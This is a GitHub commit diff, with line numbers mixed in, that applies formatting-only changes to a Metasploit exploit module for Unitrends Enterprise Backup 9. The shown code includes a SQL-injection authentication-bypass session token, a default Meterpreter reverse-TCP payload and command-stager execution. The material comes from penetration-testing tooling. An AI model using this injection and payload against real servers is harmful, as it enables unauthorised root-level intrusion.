3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
-
7
-
8
6
class MetasploitModule < Msf ::Exploit ::Remote
9
7
Rank = ExcellentRanking
10
8
@@ -41,10 +39,10 @@ def initialize(info = {})
41
39
[ 'UEB 9.*' , { } ]
42
40
] ,
43
41
'Privileged' => true ,
44
- 'DefaultOptions' =>
45
- { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' ,
46
- 'SSL' => true
47
- } ,
42
+ 'DefaultOptions' => {
43
+ 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' ,
44
+ 'SSL' => true
45
+ } ,
48
46
'DisclosureDate' => 'Aug 8 2017' ,
49
47
'DefaultTarget' => 0 ) )
50
48
register_options (
@@ -62,7 +60,6 @@ def filter_bad_chars(cmd)
62
60
end
63
61
64
62
def execute_command ( cmd , opts = { } )
65
-
66
63
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
67
64
session = Base64 . strict_encode64 ( session ) #b64 encode session token
68
65
@@ -79,19 +76,18 @@ def execute_command(cmd, opts = {})
79
76
'encode_params' => false ,
80
77
'data' => parms ,
81
78
'headers' =>
82
- { 'AuthToken' => session , }
79
+ { 'AuthToken' => session }
83
80
} )
84
81
85
- if res &&res . code != 500
82
+ if res && res . code != 500
86
83
fail_with ( Failure ::UnexpectedReply , 'Unexpected response' )
87
84
end
88
- rescue ::Rex ::ConnectionError
89
- fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
90
- end
85
+ rescue ::Rex ::ConnectionError
86
+ fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
87
+ end
91
88
92
89
def exploit
93
90
print_status ( "#{ peer } - pwn'ng ueb 9...." )
94
91
execute_cmdstager ( :linemax => 120 )
95
-
96
92
end
97
93
end
0 commit comments